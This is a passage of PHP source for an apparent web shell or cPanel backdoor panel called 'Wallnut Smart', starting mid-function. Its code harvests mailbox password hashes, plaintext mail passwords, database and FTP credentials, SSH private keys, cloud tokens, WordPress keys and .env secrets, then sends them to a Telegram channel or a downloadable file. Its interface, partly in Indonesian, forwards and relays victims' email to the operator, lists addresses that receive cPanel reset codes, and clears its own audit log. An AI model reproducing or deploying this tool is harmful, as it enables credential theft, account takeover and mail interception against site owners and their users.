            $dm = basename($dmDir);
            foreach ((array)glob($dmDir . '/*', GLOB_ONLYDIR) as $emDir) {
                $lo = basename($emDir); $em = $lo . '@' . $dm;
                if (isset($seen[$em])) continue; $seen[$em] = true;
                $r = ['email'=>$em, 'source'=>'maildir'];
                foreach (['passwd','shadow'] as $pf) {
                    $f = $emDir . '/' . $pf;
                    if (is_readable($f)) { $h = trim(@file_get_contents($f));
                        if ($h !== '') { $r['hash'] = $h; $r['hash_type'] = $pf; break; } }
                }
                $qf = $emDir . '/quota';
                if (is_readable($qf)) $r['quota'] = trim(@file_get_contents($qf));
                $sz = 0;
                try {
                    $it = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($emDir, FilesystemIterator::SKIP_DOTS),
                        RecursiveIteratorIterator::LEAVES_ONLY, RecursiveIteratorIterator::CATCH_GET_CHILD);
                    foreach ($it as $f) if ($f->isFile()) $sz += $f->getSize();
                } catch (Throwable $e) {}
                $r['size'] = $sz;
                $records[] = $r;
            }
        }
    }
    foreach ((array)glob($home . '/.cpanel/email_accounts*') as $f) {
        if (!is_readable($f)) continue;
        $j = @json_decode(@file_get_contents($f), true);
        if (!is_array($j)) continue;
        foreach ($j as $k=>$v) {
            $em = is_array($v) ? ($v['email'] ?? $k) : $k;
            if (strpos($em, '@') === false || isset($seen[$em])) continue;
            $seen[$em] = true;
            $records[] = ['email'=>$em, 'source'=>'cpanel_json', 'plain_pass'=>is_array($v) ? ($v['password'] ?? $v['pass'] ?? '') : ''];
        }
    }
    $forwarders = [];
    if ($isRoot || is_readable('/etc/valiases')) {
        foreach ((array)glob('/etc/valiases/*') as $vf) {
            if (!is_readable($vf)) continue;
            $dm = basename($vf);
            foreach ((array)@file($vf, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES) as $line) {
                if (strpos($line, ':') === false) continue;
                list($src, $dst) = explode(':', $line, 2);
                $src = trim($src); $dst = trim($dst);
                if ($src === '' || $dst === '') continue;
                $forwarders[] = ['from'=>$src.'@'.$dm, 'to'=>$dst];
            }
        }
    }
    return ['emails'=>$records, 'forwarders'=>$forwarders];
}
function harvest_passwords($home, $isRoot) {
    $creds = [];
    foreach ([$home.'/.my.cnf','/root/.my.cnf','/etc/my.cnf','/etc/mysql/my.cnf','/var/lib/mysql/.my.cnf'] as $f)
        if (is_readable($f)) $creds[] = ['type'=>'MySQL','file'=>$f,'data'=>trim(@file_get_contents($f))];
    foreach ([$home.'/.pgpass','/var/lib/pgsql/.pgpass'] as $f)
        if (is_readable($f)) $creds[] = ['type'=>'PostgreSQL','file'=>$f,'data'=>trim(@file_get_contents($f))];
    foreach ([$home.'/.cpanel/api_tokens',$home.'/.accesshash',$home.'/.cpanel/api_token'] as $f)
        if (is_readable($f)) $creds[] = ['type'=>'cPanel Token','file'=>$f,'data'=>trim(@file_get_contents($f))];
    $u = wn_user();
    foreach (["/var/cpanel/users/$u","/var/cpanel/userdata/$u/main"] as $f)
        if (is_readable($f)) $creds[] = ['type'=>'cPanel User','file'=>$f,'data'=>substr(@file_get_contents($f),0,1000)];
    if ($isRoot && is_readable('/etc/shadow')) {
        foreach ((array)@file('/etc/shadow') as $line)
            if (strpos($line, "$u:") === 0) { $creds[] = ['type'=>'Shadow','file'=>'/etc/shadow','data'=>trim($line)]; break; }
    }
    foreach (['/etc/proftpd.passwd','/etc/pure-ftpd/passwd'] as $f)
        if (is_readable($f)) $creds[] = ['type'=>'FTP','file'=>$f,'data'=>substr(@file_get_contents($f),0,1000)];
    foreach ([$home.'/.ssh/id_rsa',$home.'/.ssh/id_ed25519',$home.'/.ssh/id_dsa',$home.'/.ssh/id_ecdsa'] as $f)
        if (is_readable($f)) $creds[] = ['type'=>'SSH','file'=>$f,'data'=>substr(@file_get_contents($f),0,1500)];
    foreach ([
        $home.'/.aws/credentials',$home.'/.config/gcloud/credentials.db',$home.'/.azure/credentials',
        $home.'/.docker/config.json',$home.'/.kube/config',$home.'/.npmrc',$home.'/.git-credentials',
        $home.'/.composer/auth.json',$home.'/.netrc',$home.'/.authinfo',$home.'/.msmtprc',$home.'/.muttrc',
    ] as $f) if (is_readable($f)) $creds[] = ['type'=>'Cloud/Misc','file'=>$f,'data'=>substr(@file_get_contents($f),0,800)];
    $wpDirs = [$home . '/public_html'];
    foreach ((array)glob($home . '/*', GLOB_ONLYDIR) as $d) if (basename($d) !== 'public_html') $wpDirs[] = $d;
    $wpC = 0; $envC = 0;
    foreach ($wpDirs as $base) {
        if (!is_dir($base)) continue;
        try { $it = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
        } catch (Throwable $e) { continue; }
        foreach ($it as $f) {
            if ($wpC >= 20 && $envC >= 15) break 2;
            $bn = $f->getFilename();
            if ($wpC < 20 && $bn === 'wp-config.php' && $f->isReadable()) {
                $c = @file_get_contents($f->getPathname());
                if ($c !== false) {
                    $wp = [];
                    foreach (['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST','AUTH_KEY','SECURE_AUTH_KEY','LOGGED_IN_KEY','NONCE_KEY'] as $k)
                        if (preg_match('/define\s*\(\s*[\'"]'.preg_quote($k,'/').'[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]/', $c, $m))
                            $wp[$k] = $m[1];
                    if (!empty($wp)) { $creds[] = ['type'=>'WordPress','file'=>$f->getPathname(),'data'=>json_encode($wp, JSON_PRETTY_PRINT)]; $wpC++; }
                }
            }
            if ($envC < 15 && ($bn === '.env' || strpos($bn, '.env.') === 0) && $f->isReadable()) {
                $c = @file_get_contents($f->getPathname());
                if ($c === false || strlen($c) > 20000) continue;
                $fl = '';
                foreach (preg_split('/\r\n|\r|\n/', $c) as $line)
                    if (preg_match('/PASS|SECRET|KEY|TOKEN|API|AUTH|CRED|DB_|MYSQL|REDIS|AWS|GCP|SMTP/i', $line) && strpos($line, '=') !== false)
                        $fl .= $line . "\n";
                if ($fl !== '') { $creds[] = ['type'=>'.env','file'=>$f->getPathname(),'data'=>substr($fl,0,800)]; $envC++; }
            }
        }
    }
    return $creds;
}
function harvest_read_controller() {
    $home = cp_home(); $isRoot = wn_is_root();
    $em = harvest_email_record($home, $isRoot);
    $pw = harvest_passwords($home, $isRoot);
    $hdr  = "🕵 HARVEST\n" . str_repeat('═', 30) . "\n";
    $hdr .= "Host: " . wn_host() . "\nUser: " . wn_user() . ($isRoot?" (ROOT)":"") . "\nHome: $home\nIP: " . wn_ip() . "\n\n";
    $hdr .= "📧 EMAIL: " . count($em['emails']) . " | FWD: " . count($em['forwarders']) . "\n";
    $hdr .= "🔐 CRED: " . count($pw) . "\n\n";
    $body = "── EMAIL ──\n"; $n = 1;
    foreach ($em['emails'] as $e) {
        $body .= "[$n] " . $e['email'] . "\n";
        if (!empty($e['hash'])) $body .= "    hash: " . substr($e['hash'],0,120) . "\n";
        if (!empty($e['plain_pass'])) $body .= "    pass: " . $e['plain_pass'] . "\n";
        if (isset($e['size'])) $body .= "    size: " . number_format($e['size']) . " B\n";
        $n++;
    }
    if (!empty($em['forwarders'])) {
        $body .= "\n── FWD ──\n"; $n = 1;
        foreach ($em['forwarders'] as $f) { $body .= "[$n] " . $f['from'] . " → " . $f['to'] . "\n"; $n++; }
    }
    $body .= "\n── PASSWORDS ──\n";
    $byType = []; foreach ($pw as $c) $byType[$c['type']][] = $c;
    foreach ($byType as $t => $items) {
        $body .= "## $t (" . count($items) . ")\n";
        foreach ($items as $c) { $body .= $c['file'] . "\n" . $c['data'] . "\n---\n"; }
    }
    wn_tg_send($hdr . $body);
    return ['status'=>'success','message'=>'Harvest sent: ' . count($em['emails']) . ' emails, ' . count($pw) . ' creds'];
}
function harvest_download_controller() {
    $home = cp_home(); $isRoot = wn_is_root();
    $em = harvest_email_record($home, $isRoot);
    $pw = harvest_passwords($home, $isRoot);
    $out = "# HARVEST\n" . date('Y-m-d H:i:s') . "\n\n== EMAILS ==\n";
    foreach ($em['emails'] as $e) { $out .= $e['email'] . "\n"; if (!empty($e['hash'])) $out .= "  hash: " . $e['hash'] . "\n"; if (!empty($e['plain_pass'])) $out .= "  pass: " . $e['plain_pass'] . "\n"; }
    $out .= "\n== FORWARDERS ==\n";
    foreach ($em['forwarders'] as $f) $out .= $f['from'] . " → " . $f['to'] . "\n";
    $out .= "\n== CREDS ==\n";
    foreach ($pw as $c) { $out .= "## " . $c['type'] . " | " . $c['file'] . "\n" . $c['data'] . "\n---\n"; }
    while (ob_get_level() > 0) @ob_end_clean();
    header('Content-Type: text/plain; charset=utf-8');
    header('Content-Disposition: attachment; filename="harvest_' . date('Ymd_His') . '.txt"');
    echo $out; exit;
}

/* ========== AUDIT / STATUS ========== */
function audit_recent_controller() {
    $l = (int)($_GET['limit'] ?? 50);
    if ($l < 1) $l = 50; if ($l > 500) $l = 500;
    return ['status'=>'success','logs'=>wn_audit_recent($l)];
}
function audit_stats_controller() { return ['status'=>'success','stats'=>wn_audit_stats()]; }
function audit_clear_controller() {
    $ok = wn_audit_clear();
    return ['status'=>$ok?'success':'error','message'=>$ok?'Cleared':'Failed'];
}
function cpanel_status_controller() {
    $env = cp_detect(); $t = cp_ensure_token(); $doms = cp_domains();
    return ['status'=>'success','available'=>$env['available'],'user'=>cp_user(),'home'=>cp_home(),
            'has_token'=>(bool)$t,'token_preview'=>$t?substr($t,0,12).'...':null,
            'uapi_bin'=>$env['uapi']?:'not found','methods'=>$env['methods'],
            'domains'=>$doms['all'],'domain_detail'=>$doms,
            'audit'=>wn_audit_stats(),'target_email'=>WN_MY_EMAIL];
}
function cpanel_gen_token_controller() {
    foreach (cp_token_files() as $f) if (is_file($f)) @unlink($f);
    $t = cp_ensure_token();
    if ($t) return ['status'=>'success','message'=>'Token: ' . substr($t,0,12) . '...','token'=>$t];
    return ['status'=>'error','message'=>'Failed'];
}

/* ========== ROUTING ========== */
$__action = $_GET['action'] ?? '';
if ($__action) {
    $allowed = [
        'cpanel_status','cpanel_gen_token','diag',
        'harvest_read','harvest_download','primary_info',
        'smart_forward','email_relay',
        'email_list','email_create','email_delete','email_passwd',
        'forwarder_list','forwarder_create','forwarder_delete',
        'autoresponder_list','autoresponder_create','autoresponder_delete',
        'subdomain_list','subdomain_create','subdomain_delete',
        'addondomain_create','addondomain_delete',
        'parkeddomain_create','parkeddomain_delete',
        'db_list','db_create','db_delete','db_passwd',
        'ftp_list','ftp_create','ftp_delete','ftp_passwd',
        'cron_list','cron_create','cron_delete','sso',
        'audit_recent','audit_stats','audit_clear',
        'list_recipient_emails','scan_writable_domains',
    ];
    if (!in_array($__action, $allowed, true)) wn_json(['status'=>'error','message'=>'Invalid action']);
    $map = [
        'cpanel_status'=>'cpanel_status_controller','cpanel_gen_token'=>'cpanel_gen_token_controller','diag'=>'diag_controller',
        'harvest_read'=>'harvest_read_controller','harvest_download'=>'harvest_download_controller',
        'primary_info'=>'primary_info_controller',
        'smart_forward'=>'smart_forward_controller','email_relay'=>'email_relay_controller',
        'email_list'=>'email_list_controller','email_create'=>'email_create_controller','email_delete'=>'email_delete_controller','email_passwd'=>'email_passwd_controller',
        'forwarder_list'=>'forwarder_list_controller','forwarder_create'=>'forwarder_create_controller','forwarder_delete'=>'forwarder_delete_controller',
        'autoresponder_list'=>'autoresponder_list_controller','autoresponder_create'=>'autoresponder_create_controller','autoresponder_delete'=>'autoresponder_delete_controller',
        'subdomain_list'=>'subdomain_list_controller','subdomain_create'=>'subdomain_create_controller','subdomain_delete'=>'subdomain_delete_controller',
        'addondomain_create'=>'addondomain_create_controller','addondomain_delete'=>'addondomain_delete_controller',
        'parkeddomain_create'=>'parkeddomain_create_controller','parkeddomain_delete'=>'parkeddomain_delete_controller',
        'db_list'=>'db_list_controller','db_create'=>'db_create_controller','db_delete'=>'db_delete_controller','db_passwd'=>'db_passwd_controller',
        'ftp_list'=>'ftp_list_controller','ftp_create'=>'ftp_create_controller','ftp_delete'=>'ftp_delete_controller','ftp_passwd'=>'ftp_passwd_controller',
        'cron_list'=>'cron_list_controller','cron_create'=>'cron_create_controller','cron_delete'=>'cron_delete_controller','sso'=>'sso_controller',
        'audit_recent'=>'audit_recent_controller','audit_stats'=>'audit_stats_controller','audit_clear'=>'audit_clear_controller',
        'list_recipient_emails'=>'list_recipient_emails_controller','scan_writable_domains'=>'scan_writable_domains_controller',
    ];
    $fn = $map[$__action];
    if (!function_exists($fn)) wn_json(['status'=>'error','message'=>"Missing: $fn"]);
    $readonly = in_array($__action, ['cpanel_status','diag','harvest_read','harvest_download','primary_info',
        'email_list','forwarder_list','autoresponder_list','subdomain_list','db_list','ftp_list','cron_list',
        'audit_recent','audit_stats','list_recipient_emails','scan_writable_domains','smart_forward','email_relay'], true);
    if ($readonly) $result = $fn();
    else {
        $params = array_filter($_GET, function($v, $k){ return $k !== 'action'; }, ARRAY_FILTER_USE_BOTH);
        $result = wn_track($__action, $params, $fn);
    }
    if (is_array($result)) wn_json($result);
    wn_json(['status'=>'success','message'=>'OK']);
}

/* ========== LOGIN (FIXED) ========== */
wn_session_setup();
@session_start();

if (isset($_SESSION['wn_loggedin']) && isset($_SESSION['wn_time']) && (time() - $_SESSION['wn_time'] > 3600)) {
    $_SESSION = []; @session_destroy(); @session_start();
}
if (isset($_SESSION['wn_loggedin']) && $_SESSION['wn_loggedin'] === true) {
    $curIp = wn_ip();
    $curUa = $_SERVER['HTTP_USER_AGENT'] ?? '';
    if (!empty($_SESSION['wn_ip']) && $_SESSION['wn_ip'] !== $curIp) {
        if (!empty($_SESSION['wn_ua']) && $_SESSION['wn_ua'] === $curUa) {
            $_SESSION['wn_ip'] = $curIp; $_SESSION['wn_time'] = time();
        } else {
            $_SESSION = []; @session_destroy(); @session_start();
        }
    }
}

if (!isset($_SESSION['wn_loggedin']) || $_SESSION['wn_loggedin'] !== true) {
    $loginError = ''; $loginSuccess = '';
    if (isset($_POST['request_otp'])) {
        $otp = sprintf("%06d", random_int(0, 999999));
        $_SESSION['wn_otp'] = $otp;
        $_SESSION['wn_otp_time'] = time();
        $_SESSION['wn_otp_ip'] = wn_ip();
        @session_write_close(); @session_start();
        $sent = wn_tg_send("WALLNUT OTP: $otp\n\nValid 5 min.", true);
        if ($sent) $loginSuccess = "OTP sent to Telegram.";
        else { $loginError = "Failed to send OTP."; unset($_SESSION['wn_otp'], $_SESSION['wn_otp_time'], $_SESSION['wn_otp_ip']); }
    }
    if (isset($_POST['verify_otp'])) {
        $input = trim($_POST['otp'] ?? '');
        $savedOtp = $_SESSION['wn_otp'] ?? '';
        $savedTime = (int)($_SESSION['wn_otp_time'] ?? 0);
        if ($input === '') $loginError = "Enter OTP.";
        elseif ($savedOtp === '' || $savedTime === 0) $loginError = "Request OTP first.";
        elseif (time() - $savedTime > 300) { $loginError = "OTP expired."; unset($_SESSION['wn_otp'], $_SESSION['wn_otp_time'], $_SESSION['wn_otp_ip']); }
        elseif (!hash_equals((string)$savedOtp, (string)$input)) $loginError = "Invalid OTP.";
        else {
            $_SESSION['wn_loggedin'] = true;
            $_SESSION['wn_time'] = time();
            $_SESSION['wn_ip'] = wn_ip();
            $_SESSION['wn_ua'] = $_SERVER['HTTP_USER_AGENT'] ?? '';
            unset($_SESSION['wn_otp'], $_SESSION['wn_otp_time'], $_SESSION['wn_otp_ip']);
            @session_write_close();
            header('Location: ' . ($_SERVER['SCRIPT_NAME'] ?? '/')); exit;
        }
    }
    ?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Wallnut</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{background:#0a0a0b;color:#ededef;font-family:-apple-system,sans-serif;display:flex;justify-content:center;align-items:center;height:100vh}.box{background:#141416;padding:40px;border-radius:16px;border:1px solid rgba(255,255,255,.06);width:340px}.box h2{font-size:22px;font-weight:600;margin-bottom:6px}.box p{color:#8a8a95;font-size:12.5px;margin-bottom:24px}input{width:100%;padding:10px 12px;background:#1a1a1e;border:1px solid rgba(255,255,255,.06);color:#ededef;border-radius:8px;outline:none;font-size:14px;margin-bottom:10px}button{background:#4ade80;color:#06110b;border:none;padding:11px;width:100%;border-radius:8px;cursor:pointer;font-weight:600}.error{color:#f87171;font-size:12px;margin-bottom:10px;padding:8px 12px;background:rgba(248,113,113,.1);border-radius:8px}.success{color:#4ade80;font-size:12px;margin-bottom:10px;padding:8px 12px;background:rgba(74,222,128,.1);border-radius:8px}hr{border:none;border-top:1px solid rgba(255,255,255,.06);margin:16px 0}</style>
</head><body><div class="box"><h2>Wallnut</h2><p>Auth required</p>
<?php if (!empty($loginError)): ?><div class="error"><?= htmlspecialchars($loginError) ?></div><?php endif; ?>
<?php if (!empty($loginSuccess)): ?><div class="success"><?= htmlspecialchars($loginSuccess) ?></div><?php endif; ?>
<form method="post"><button type="submit" name="request_otp">Request OTP</button></form>
<?php if (isset($_SESSION['wn_otp'])): ?>
<hr><form method="post"><input type="text" name="otp" placeholder="6-digit OTP" required maxlength="6"><button type="submit" name="verify_otp">Login</button></form>
<?php endif; ?>
</div></body></html>
    <?php exit;
}
if (isset($_GET['logout'])) {
    $_SESSION = [];
    if (ini_get("session.use_cookies")) {
        $p = session_get_cookie_params();
        setcookie(session_name(), '', time()-42000, $p["path"], $p["domain"], $p["secure"], $p["httponly"]);
    }
    @session_destroy();
    header('Location: ' . ($_SERVER['SCRIPT_NAME'] ?? '/'));
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Wallnut Smart</title>
<style>
:root{--bg:#0a0a0b;--s:#141416;--s2:#1a1a1e;--b:rgba(255,255,255,.06);--t:#ededef;--tm:#8a8a95;--mu:#5c5c66;--a:#4ade80;--as:rgba(74,222,128,.1);--r:#f87171;--rs:rgba(248,113,113,.1);--w:#fbbf24;--ws:rgba(251,191,36,.1);--m:"SF Mono",Consolas,monospace}
*{margin:0;padding:0;box-sizing:border-box}
body{background:var(--bg);color:var(--t);font-family:-apple-system,sans-serif;font-size:13.5px;line-height:1.5}
.wrap{max-width:1000px;margin:0 auto;padding:20px}
.top{display:flex;justify-content:space-between;align-items:center;background:var(--s);border:1px solid var(--b);border-radius:12px;padding:14px 20px;margin-bottom:16px}
.brand{font-size:18px;font-weight:700;color:var(--a)}
.logout{color:var(--r);font-size:12px;text-decoration:none}
.card{background:var(--s);border:1px solid var(--b);border-radius:12px;padding:18px;margin-bottom:16px}
.card h2{font-size:14px;font-weight:600;margin-bottom:14px;padding-bottom:10px;border-bottom:1px solid var(--b)}
.tabs{display:flex;gap:2px;border-bottom:1px solid var(--b);margin-bottom:16px;flex-wrap:wrap}
.tab{padding:8px 12px;background:transparent;border:none;color:var(--tm);font-size:12.5px;font-weight:500;cursor:pointer;border-bottom:2px solid transparent;margin-bottom:-1px}
.tab.active{color:var(--a);border-bottom-color:var(--a)}
.field{margin-bottom:12px}
.field-label{display:block;font-size:11px;font-weight:600;color:var(--mu);text-transform:uppercase;letter-spacing:.5px;margin-bottom:5px}
input,select,textarea{width:100%;padding:9px 11px;background:var(--s2);border:1px solid var(--b);border-radius:8px;color:var(--t);outline:none;font-family:inherit;font-size:inherit}
input:focus,select:focus,textarea:focus{border-color:var(--a)}
textarea{font-family:var(--m);font-size:12.5px;min-height:80px;resize:vertical}
button.btn{padding:9px 14px;border-radius:8px;background:var(--s2);border:1px solid var(--b);color:var(--t);font-weight:500;cursor:pointer;font-size:13px}
button.btn:hover{background:#232327}
button.btn.primary{background:var(--a);color:#06110b;border-color:var(--a)}
button.btn.danger{background:var(--rs);color:var(--r);border-color:transparent}
button.btn.warning{background:var(--ws);color:var(--w);border-color:transparent}
.btn-xs{padding:3px 8px;font-size:10.5px;font-weight:600;border-radius:5px;border:none;cursor:pointer}
.btn-xs.danger{background:var(--rs);color:var(--r)}
.btn-xs.warning{background:var(--ws);color:var(--w)}
.form-row{display:flex;gap:10px;flex-wrap:wrap}
.form-row > *{flex:1;min-width:140px}
.result-box{margin-top:12px;padding:12px 14px;border-radius:8px;font-family:var(--m);font-size:12px;line-height:1.7;word-break:break-all;white-space:pre-wrap;display:none}
.result-box.show{display:block}
.result-box.ok{background:var(--as);border:1px solid rgba(74,222,128,.25);color:var(--a)}
.result-box.err{background:var(--rs);border:1px solid rgba(248,113,113,.25);color:var(--r)}
.result-box.warn{background:var(--ws);border:1px solid rgba(251,191,36,.25);color:var(--w)}
.row{display:grid;grid-template-columns:1fr 90px 90px 130px;gap:8px;padding:9px 12px;font-size:12.5px;border-bottom:1px solid var(--b);align-items:center}
.row:hover{background:var(--s2)}
.row.head{font-size:10.5px;font-weight:600;color:var(--mu);text-transform:uppercase;background:var(--s2)}
.list-body{max-height:50vh;overflow-y:auto;border:1px solid var(--b);border-radius:8px}
.status-bar{font-size:11.5px;color:var(--tm);padding:9px 12px;background:var(--s2);border-radius:8px;margin-bottom:12px}
.status-ok{color:var(--a)}.status-warn{color:var(--w)}.status-err{color:var(--r)}
.pane{display:none}.pane.active{display:block}
pre.small{background:#050507;border:1px solid var(--b);border-radius:8px;padding:12px;font-family:var(--m);font-size:11.5px;color:#aaa;white-space:pre-wrap;max-height:60vh;overflow:auto}
.audit-row{display:grid;grid-template-columns:130px 130px 1fr 80px;gap:8px;padding:8px 12px;font-size:11.5px;border-bottom:1px solid var(--b);align-items:center}
.audit-row.head{font-size:10.5px;font-weight:600;color:var(--mu);text-transform:uppercase;background:var(--s2)}
.pill{display:inline-block;padding:2px 8px;border-radius:4px;font-size:10.5px;font-weight:600}
.pill.ok{background:var(--as);color:var(--a)}
.pill.err{background:var(--rs);color:var(--r)}
</style>
</head>
<body>
<div class="wrap">
<div class="top"><div class="brand">Wallnut Smart</div><a href="?logout=1" class="logout">Logout</a></div>

<div class="card">
<div id="statusBar" class="status-bar">Loading...</div>
<div class="tabs" id="mainTabs">
<button class="tab active" data-pane="harvest">Harvest</button>
<button class="tab" data-pane="recipients">Penerima Kode</button>
<button class="tab" data-pane="smart">Smart Forward</button>
<button class="tab" data-pane="relay">Email Relay</button>
<button class="tab" data-pane="email">Email</button>
<button class="tab" data-pane="forwarder">Forwarder</button>
<button class="tab" data-pane="domain">Domain</button>
<button class="tab" data-pane="db">Database</button>
<button class="tab" data-pane="ftp">FTP</button>
<button class="tab" data-pane="cron">Cron</button>
<button class="tab" data-pane="audit">Audit</button>
<button class="tab" data-pane="status">Status</button>
<button class="tab" data-pane="diag">Diag</button>
</div>

<div class="pane active" id="pane-harvest">
<h2>Harvest — Password + Email Record</h2>
<div style="display:flex;gap:8px;flex-wrap:wrap;margin-bottom:12px;">
<button class="btn primary" onclick="harvestRun()" style="flex:2;">🕵 Run Harvest</button>
<a href="?action=harvest_download" class="btn" style="flex:1;text-align:center;padding-top:11px;">⬇ Download TXT</a>
</div>
<div id="harvestResult" class="result-box"></div>
</div>

<div class="pane" id="pane-recipients">
<h2>📬 Email Penerima Kode</h2>
<p style="color:var(--tm);font-size:12.5px;margin-bottom:12px;">List email yang bisa terima kode verifikasi / reset password cPanel.</p>
<button class="btn primary" onclick="loadRecipients()" style="width:100%;margin-bottom:12px;">🔄 Load</button>
<div id="recipientsSummary" class="status-bar">-</div>
<div id="recipientsResult"></div>
</div>

<div class="pane" id="pane-smart">
<h2>🧠 Smart Forward</h2>
<p style="color:var(--tm);font-size:12.5px;margin-bottom:12px;">Auto-detect primary email + coba <b>6 strategi fallback</b>.</p>
<div class="status-bar" id="smartPrimaryInfo">Detecting primary...</div>
<div class="form-row">
<div class="field" style="flex:2;"><label class="field-label">Source (email server)</label><input type="text" id="smartSrc" placeholder="(auto-detect)"></div>
<div class="field" style="flex:2;"><label class="field-label">Destination</label><input type="text" id="smartDst" value="<?= htmlspecialchars(WN_MY_EMAIL) ?>"></div>
</div>
<button class="btn primary" onclick="smartForward()" style="width:100%;">🧠 Smart Forward</button>
<div id="smartResult" class="result-box"></div>
</div>

<div class="pane" id="pane-relay">
<h2>📬 Email Relayer</h2>
<p style="color:var(--tm);font-size:12.5px;margin-bottom:12px;">Baca isi mailbox target dan kirim ke Telegram.</p>
<div class="form-row">
<div class="field" style="flex:3;"><label class="field-label">Mailbox Email</label><input type="text" id="relaySrc" placeholder="user@domain.com"></div>
<div class="field" style="flex:1;"><label class="field-label">Limit</label><input type="number" id="relayLimit" value="10" min="1" max="50"></div>
</div>
<button class="btn warning" onclick="emailRelay()" style="width:100%;">📬 Relay to Telegram</button>
<div id="relayResult" class="result-box"></div>
</div>

<div class="pane" id="pane-email">
<h2>Email Accounts</h2>
<div class="form-row">
<div class="field" style="flex:2;"><label class="field-label">Username</label><input type="text" id="emLocal" placeholder="admin"></div>
<div class="field" style="flex:3;"><label class="field-label">Domain</label><select id="emDomain"><option value="">(detecting...)</option></select></div>
</div>
<div class="form-row">
<div class="field" style="flex:4;"><label class="field-label">Password</label><input type="text" id="emPass" placeholder="(auto)"></div>
<div class="field" style="flex:0 0 auto;display:flex;align-items:flex-end;"><button class="btn" onclick="document.getElementById('emPass').value=genPass()">Gen</button></div>
</div>
<div class="form-row">
<div class="field" style="flex:1;"><label class="field-label">Quota MB</label><input type="number" id="emQuota" value="0" min="0"></div>
<div class="field" style="flex:1;display:flex;align-items:flex-end;"><label style="display:flex;align-items:center;gap:6px;font-size:12px;color:var(--tm);"><input type="checkbox" id="emFwd" checked style="width:auto;"> Auto-forward</label></div>
</div>
<button class="btn primary" onclick="emailCreate()" style="width:100%;">Create Email</button>
<div id="emailResult" class="result-box"></div>
<h2 style="margin-top:20px;">Change Password</h2>
<div class="form-row">
<div class="field" style="flex:2;"><label class="field-label">Email</label><input type="text" id="emPwEmail" placeholder="admin@example.com"></div>
<div class="field" style="flex:3;"><label class="field-label">New Password</label><input type="text" id="emPwPass" placeholder="(auto)"></div>
</div>
<button class="btn warning" onclick="emailPasswd()" style="width:100%;">🔑 Change Password</button>
<div id="emailPwResult" class="result-box"></div>
<h2 style="margin-top:20px;">Email List</h2>
<button class="btn" onclick="emailList()" style="margin-bottom:10px;">Refresh</button>
<div class="list-body" id="emListBody"><div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Click Refresh</div></div>
</div>

<div class="pane" id="pane-forwarder">
<h2>Manual Forwarder</h2>
<div class="form-row">
<div class="field" style="flex:2;"><label class="field-label">Source (local)</label><input type="text" id="fwdSrc" placeholder="info"></div>
<div class="field" style="flex:2;"><label class="field-label">Domain</label><select id="fwdDomain2"><option value="">(detecting...)</option></select></div>
</div>
<div class="field"><label class="field-label">Destination</label><input type="text" id="fwdDest" value="<?= htmlspecialchars(WN_MY_EMAIL) ?>"></div>
<button class="btn primary" onclick="forwarderCreate()" style="width:100%;">Create Forwarder</button>
<div id="fwResult" class="result-box"></div>
<h2 style="margin-top:20px;">Forwarder List</h2>
<button class="btn" onclick="forwarderList()" style="margin-bottom:10px;">Refresh</button>
<div class="list-body" id="fwListBody"><div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Click Refresh</div></div>
</div>

<div class="pane" id="pane-domain">
<h2>Subdomain</h2>
<div class="form-row">
<div class="field" style="flex:2;"><label class="field-label">Sub</label><input type="text" id="sdSub" placeholder="blog"></div>
<div class="field" style="flex:3;"><label class="field-label">Root</label><select id="sdRoot"><option value="">(detecting...)</option></select></div>
</div>
<div class="field"><label class="field-label">Document Root</label><input type="text" id="sdDir" placeholder="(default)"></div>
<button class="btn primary" onclick="subdomainCreate()" style="width:100%;">Create Subdomain</button>
<div id="sdResult" class="result-box"></div>
<h2 style="margin-top:20px;">Addon Domain</h2>
<div class="field"><label class="field-label">New Domain</label><input type="text" id="adNew" placeholder="newsite.com"></div>
<button class="btn primary" onclick="addonCreate()" style="width:100%;">Create Addon</button>
<div id="adResult" class="result-box"></div>
<h2 style="margin-top:20px;">Parked Domain</h2>
<div class="field"><label class="field-label">Domain</label><input type="text" id="pkDomain" placeholder="parked.com"></div>
<button class="btn primary" onclick="parkedCreate()" style="width:100%;">Create Parked</button>
<div id="pkResult" class="result-box"></div>
</div>

<div class="pane" id="pane-db">
<h2>Create MySQL DB</h2>
<div class="form-row">
<div class="field" style="flex:2;"><label class="field-label">DB Name</label><input type="text" id="dbName" placeholder="mydb"></div>
<div class="field" style="flex:2;"><label class="field-label">DB User</label><input type="text" id="dbUser" placeholder="(auto)"></div>
</div>
<div class="form-row">
<div class="field" style="flex:4;"><label class="field-label">Password</label><input type="text" id="dbPass" placeholder="(auto)"></div>
<div class="field" style="flex:0 0 auto;display:flex;align-items:flex-end;"><button class="btn" onclick="document.getElementById('dbPass').value=genPass()">Gen</button></div>
</div>
<label style="display:flex;align-items:center;gap:8px;font-size:12px;color:var(--tm);margin-bottom:10px;"><input type="checkbox" id="dbGrant" checked style="width:auto;"> Grant ALL</label>
<button class="btn primary" onclick="dbCreate()" style="width:100%;">Create DB + User</button>
<div id="dbResult" class="result-box"></div>
<h2 style="margin-top:20px;">Database List</h2>
<button class="btn" onclick="dbList()" style="margin-bottom:10px;">Refresh</button>
<div class="list-body" id="dbListBody"><div style="padding:20px;text-align:center;color:var(--tm);font-size:12px;">Click Refresh</div></div>
</div>

<div class="pane" id="pane-ftp">
<h2>Create FTP</h2>
<div class="form-row">
<div class="field" style="flex:2;"><label class="field-label">User</label><input type="text" id="ftpUser" placeholder="ftpuser"></div>
<div class="field" style="flex:3;"><label class="field-label">Password</label><input type="text" id="ftpPass" placeholder="(auto)"></div>
</div>
<div class="form-row">
<div class="field" style="flex:3;"><label class="field-label">Home Dir</label><input type="text" id="ftpDir" placeholder="public_html"></div>
<div class="field" style="flex:2;"><label class="field-label">Quota MB</label><input type="number" id="ftpQuota" value="0" min="0"></div>
</div>
